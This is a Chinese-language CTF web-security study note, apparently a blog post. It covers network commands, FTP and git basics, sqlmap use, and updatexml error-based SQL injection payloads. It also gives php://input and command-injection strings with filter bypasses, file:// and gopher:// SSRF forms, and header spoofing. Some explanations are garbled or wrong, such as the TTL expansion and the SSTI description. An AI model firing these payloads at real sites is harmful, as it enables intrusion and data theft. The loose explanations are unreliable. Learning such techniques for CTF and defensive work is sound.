题注:当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
已知:当vim异常退出时,以index.php为例,
第一次产生 .index.php.swp
第二次产生 .index.php.swo
第三次产生 .index.php.swn
查看IP等:控制人太台:ipconfig/all
网络探测工具ping
ping用于向某主机发出一个试探性的IP检测包,来测试该主机是否可以到达,同时,利用该工具可以获知从本机到达对方主机的速度和该主机的IP地址等信息。
格式如下:ping目的地址 [参数1][参数2][参数3]
其中,目的地址是指被探测主机的地址,既可以是域名,也可以是IP地址。
主要参数含义如下:
-t:继续ping直到用户终止。
-a:解析主机地址。
-n数值:发出的探测包的数目,默认值为4。
网络统计工具netstat
netstat用于显示协议的统计和当前TCP/IP网络连接。
netstat格式如下:netstat[参数1][参数2][参数3]
主要参数含义如下:
-a:显示所有网络连接和监听端口。
-e:显示以太网统计资料。
-n:以数字格式显示地址和端口。
-r:显示路由表。
-s:显示每一个协议的统计。协议可以是 TCP、UDP、IP。
跟踪路由工具TraceRT
TraceRT 用于查看从本地主机到目标主机的路由,通过该工具可以了解网络原理和工作过程。通过显示从本地主机到目标主机所经过的每一个主机地址和来回时间,可以了解一个数据包是如何经过迂回路由传送到目标主机和分析阻塞发生的环节。在IP数据包中有一个字段TTL(time tp voice)决定该数据包能够在网络上传送的距离,发出数据包时,通常预置了初始值。每当该数据包遇到一个主机(经过一次路由),该字段值减一,然后向邻近的下一个主机发送,直到值为零停止传送,若在TTL值的范围内到达目的地,则发送成功,否则必须重发。可防止一个数据包无限制地在网上传递,造成网络阻塞。TraceRT 工具通过发送探测包来获得所经过的每一个主机的地址和往返时间。
格式如下:TraceRT[参数1][参数2]目标主机
其中,主要参数含义如下:
-d:不解析目标主机地址。
-h:指定跟踪的最大路由数,即经过的最多主机数。
-j:指定松散的源路由表。
-w:以毫秒为单位指定每个应答的超时时间。
TCP/IP配置工具ipconfig::
用于在DOS界面查看和改变TCP/IP配置参数。在默认模301式下显示本机的IP地址、子网掩码、默认网关。
格式如下:ipconfig[参数]
主要参数含义如下:
-ALL:显示所有细节信息,包括主机名、节点类型、DNS服务器、NetBIOS范围标识、启用IP路由、启用WINS代理、NetBIOS解析使用DNS、适配器地址、IP地址、网络掩码、默认网关、DHCP服务器、主控 WINS服务器、辅助 WINS服务器、获得租用权等。
-release:DHCP客户端手工释放IP地址。
-renew:DHCP客户端手工向服务器刷新请求。
-showclassid:显示网络适配器的 DHCP类别信息。
-setclassid:设置网络适配器的 DHCP类别。
网络路由表设置工具route
route用于查看、添加、删除、修改路由表条目。
route格式如下:Route[-f][command[destination][MASKnetmask][gateway][METRICmetric]
主要参数含义如下:
-f:清除所有网关条目的路由表,如果该参数与其他命令组合使用,则清除路由表的优
先级大于其他命令。
command参数选项如下:
add:添加一个路由。
delete:删除一个路由。
destination:指定目标主机。
MASKnetmask:mask后指定该路由条目的子网掩码,若未指定,则默认为255.255.255.255
getway:指定网关。
域名查询工具nslookup
nslookup是 WindowsNT、Windows2000中连接DNS服务器,查询域名信息的工具。
格式如下:
nslookup目标主机
文件传输工具ftp
ftp利用FTP协议在网络上传输文件。
格式如下:ftp目标主机
远程登录工具telnet
telnet协议属于TCP/IP协议族,是因特网远程登录服务的标准协议和主要方式,是常用的远程控制 Web服务器的方法,为用户提供了在本地计算机上完
成远程主机工作的能力。终端使用者可以使用telnet程序连接到服务器,然后在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样,可以
在本地就能控制服务器。
格式如下:telnet目标主机
3.5.2 文件传输协议与工具
文件传输协议(FTP,FileTransferProtocol)属于 TCP/IP 协议族,是因特网文件传送
的基础。FTP完成两台计算机之间的文件复制:从远程计算机复制文件至本地计算机上,
称为“下载(download)”文件;将文件从本地计算机中复制到远程计算机上,称为“上载(up-
load)”文件。在 TCP/IP协议中,FTP服务一般运行在端口20和21:端口20用于在客户端和服务器之间传输数据流;端口21用于传输控制流,并且是命令通向 FTP服务器的进口。
FTP采用客户机/服务器工作模式:用户通过客户端程序连接至在远程计算机上运行
的服务器程序。依照 FTP 协议提供服务,进行文件传送的计算机就是 FTP 服务器,而连接 FTP服务器,遵循 FTP协议与服务器传送文件的计算机就是 FTP客户。
FTP格式如下:
ftp://用户名:密码@FTP服务器IP或域名:FTP命令端口/路径/文件名
例如,以下地址都是有效的 FTP地址:
ftp://ftp.bupt.edu.cn
ftp://list:list@ftp.bupt.edu.cn
ftp://list:list@ftp.bupt.edu.cn:2003
ftp://list:list@ftp.bupt.edu.cn:2003/soft/list.txt
如果要登录FTP 服务器,必须要有该服务器授权的账号,为此,提出了匿名文件传输方
法。匿名文件传输是指用户与远程主机建立连接并以匿名身份从远程主机上复制文件,而
不必在该远程主机上注册。在互联网中,有很多匿名 FTP 服务器:这类服务器的目的是向公众提供文件复制服务,不要求用户事先在该服务器进行登记注册,也不用取得 FTP服务器的授权。用户使用 “anonymous”用户名登录 FTP服务器,将电子邮件地址作为口令,就可访问远程主机上公开的文件。匿名 FTP一直是因特网上获取信息资源的主要方式之一:公共的匿名 FTP服务器中存储着大量的文件,只要知道特定信息资源的IP地址,就可以用匿名 FTP登录获取所需的信息资料。虽然目前使用 WWW 环境已取代匿名 FTP成为最主要的信息查询方式,但是匿名FTP仍是因特网上传输分发软件的一种基本方法。
git log 显示从最近到最远的提交日志
git diff 简单的来说就是查看不同,具体用法如下:
git diff:是查看working tree与index的差别的。
git diff --cached:是查看index与repository的差别的。
git diff HEAD:是查看working tree和repository的差别的。其中:HEAD代表的是最近的一次commit的信息
git reset 可用于回退版本库
git stash:能够将所有未提交的修改(工作区和暂存区)保存至堆栈中,用于后续恢复当前工作目录
git stash list:查看当前stash中的内容
git stash pop:将当前stash中的内容弹出,并应用到当前分支对应的工作目录上
sqlmap -u "url" --current-db
--dbs --batch
--dbs
Sqlmap:id=? union select 1,database()
group_concat(table_name) from information_schema.tables where table_schema=’sqli’
Column columns
Name
A from B
有强waf
报错注入:使用 updatexml得到库名
/?id=-1 and updatexml(1,concat(1,database()),2)
/?id=-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)
/?id=-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2)
/?id=-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2)
RCE:/?file=php://input
<?php system(“”)?> ls / cat /
RCE
查看根目录文件 /?cmd=system("ls");查看一下根目录文件 /?cmd=system("ls");切记最后的分号不可省略! /?cmd=system("cat flag_9759");
过滤cat
1 可以用其他查看文本命令,比如tac,head,tail,nl,vim,less,more等
2 使用 \ '' "" {任意无意义变量名}等方法绕过
过滤空格
${IFS};$IFS$;$IFS$1;$IFS$9;%09;%20;<>;<
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
试着打开php文件,发现打不开。
在这里插入图片描述
应该是文件中包含特殊字符,使用管道运行base64加密内容
ip & cat *.php | base64
过滤目录分隔符
目录分隔符 / 被过滤了。
URL&ls //可以看到 flag_is_here 文件夹
URL;cd flag_is_here;ls //这里使用 ; 或者 && 执行多条命令
进入文件夹,显示目录:URL;cd flag_is_here;cat flag_************.php //cat 查看flag文件
过滤运算符
命令分隔符:
linux中:%0a(回车) %0d(换行) ;; ;&;|;&&;||
windows中:%0a;&;|;%1a(作为.bat文件中的命令分隔符)
对管道符 | & || &&,进行了过滤。
127.0.0.1;ls //使用 ;即可
127.0.0.1;cat flag_*************.php
/var/www/html 是一个常见的目录路径,用于存储网站文件,特别是在使用 Apache 作为 Web 服务器的 Linux 系统中。这个目录是 Web 服务器的根目录,意味着当你访问一个没有指定特定路径的 URL 时(例如 http://example.com),Web 服务器会默认查找 /var/www/html 目录下的文件。
这个目录的结构通常如下:
/var/www/html:这是根目录,通常包含网站的首页文件(如 index.html 或 index.php)和其他公共访问的文件。
/var/www/html/images:这个子目录通常用于存储图片文件。
/var/www/html/css:用于存储 CSS 样式表文件。
/var/www/html/js:用于存储 JavaScript 文件。
/var/www/html/includes:可能包含 PHP 脚本中会用到的公共文件。
?url=file:///var/www/html/flag.php(示范)
gopher使用结构
gopher://127.0.0.1:80/_{TCP/IP数据流} #_不能省
Dirsearch使用:dirsearch -u url
备份文件名:/....bak(/tar.gz)
Cookie:其实就是一些数据信息,类型为“小型文本文件”,存储于电脑上的文本文件中。当我们打开一个网站时,如果这个网站我们曾经登录过,那么当我们再次打开网站时,发现就不需要再次登录了,其实就是游览器保存了我们的cookie,里面记录了一些信息,当然,这些cookie是服务器创建后返回给浏览器的。浏览器只进行了保存。
cookie中常用属性的解释。
Name:这个是cookie的名字 Value:这个是cooke的值
Path:这个定义了Web站点上可以访问该Cookie的目录
Expires:这个值表示cookie的过期时间,也就是有效值,cookie在这个值之前都有效。
Size:这个表示cookie的大小
查看cookie值:火狐打开URL,进入控制台的storage,url更改后进入网络查看响应数据包或使用burpsuite
GET方式传参:直接在网页URL的后面写上【URL/?a=?】,如果有多个参数则用&符号连接,
POST传参:1.Hackbar选中POST data传参
- burp:插入一行content-type:application/x-www-form-urlencoded后空一行传参
php中有两种比较符号
=== 会同时比较字符串的值和类型
== 会先将字符串换成相同类型,再作比较,属于弱类型比较
Robots协议:网络爬虫排除标准。查询方法:URL/robots.txt
robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt 文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。其中Disallow 指令用于告诉搜索引擎的爬虫(spider)哪些页面或目录不应该被抓取。但该指令非强制,可凭借URL/(文件名)打开。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在 robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。常用:URL/robots.txt
1.禁止抓取整个网站:
User-agent: *
Disallow: /——这将禁止所有爬虫抓取网站上的任何页面。
2.禁止抓取特定目录:
User-agent: *
Disallow: /private/——这将禁止爬虫抓取网站中 private 目录下的所有页面。
3.禁止抓取特定文件类型:
User-agent: *
Disallow: /*.pdf——这将禁止爬虫抓取所有 .pdf 文件。
4.针对特定爬虫的禁止指令:
User-agent: Googlebot
Disallow: /nogooglebot/——这将只禁止 Googlebot 爬虫抓取 nogooglebot/ 目录下的所有页面。
5.允许和禁止的组合使用:
User-agent: *
Disallow: /private/——Allow: /private/public/
Ping:ip&(linux命令)
Php也使用linux
Linux常用命令:
- 打开最底层目录:ls /
- 返回上一级:ls ../../../........
- find / -name 'b' 查询根目录下(包括子目录),名以b的目录和文件;
- find / -name 'b*' 查询根目录下(包括子目录),名以b开头的目录和文件;
- find . -name 'b' 查询当前目录下(包括子目录),名以b的目录和文件;
- Cat /.../.../...
- 打开上上级目录的某个文件eg.:cat ../../../home
Xff和referer伪造:xff是一个HTTP扩展头部字段,用于在HTTP请求保留原始请求的来源IP地址。Referer这是一个HTTP请求头字段,用于指示当前请求是由哪个页面发起的,即用户是从哪个页面点击链接或提交表单到达当前请求的页面的。XFF头代表客户端,也就是HTTP的请求端真实的IP。
因此伪造通过burp:x-Forwarded-For:ip地址 先
Referer:URL 后
PHP是服务器端脚本语言,主要用于处理和生成网页的内容,当用户访问一个网站时,PHP脚本会在服务器上执行,生成动态的HTML页面,然后将页面发送给用户的浏览器进行显示。
按照这个思路找到php脚本的路径,保存在什么文件。常见的 PHP 脚本通常保存在以 .php 为扩展名的文件上。这些文件可以存储在web 服务器的文档根目录中,以便通过浏览器访问和执行;经典示例文件名:index.php或script.php,能够正常访问,意味着存在这样脚本文件;不能的话出现404 not found;php文件源代码通常在phps文件;任何进行php源代码审计。
urldecode是PHP函数,解码经过URL编码的字符串,解码回原始的形式;URL编码中某些字符被替换为%后跟两个十六进制形式;这是为了确保 URL 中的特殊字符不会与 URL 结构冲突。例如,空格字符在 URL 中被编码为 %20,而 & 字符被编码为 %26,%字符被编码为%25。URL 只能使用 ASCII 字符集来通过因特网进行发送。由于 URL 常常会包含 ASCII 集合之外的字符,URL 必须转换为有效的 ASCII 格式。
URL 编码使用 "%" 其后跟随两位的十六进制数来替换非 ASCII 字符。
URL 不能包含空格。URL 编码通常使用 + 来替换空格。
echo 是 PHP 中用于输出字符串的函数。
若输入admin被ban且源代码自动进行一次解码,输入两次编码的admin,实际输入的即为经过一次编码的admin
JavaScript、PHP、ASP 都提供了对字符串进行URL编码的函数。
JavaScript 中使用 encodeURI() 函数,PHP 中使用 rawurlencode() 函数,ASP 中使用 Server.URLEncode() 函数。
SSTI 漏洞:如果 html 模板字符串中使用了 % 运算符,并且用户控制的 user_input 被直接插入到模板中,那么用户可以构造特殊的输入,从而执行 Python 代码。这是因为 render_template_string 函数在内部使用 % 运算符进行字符串格式化,如果用户输入的是有效的 Python 代码,那么这段代码就会被执行。
标签:知识点,文件,URL,主机,命令,web,服务器,php From: https://www.cnblogs.com/mycrictfchuyin/p/18448470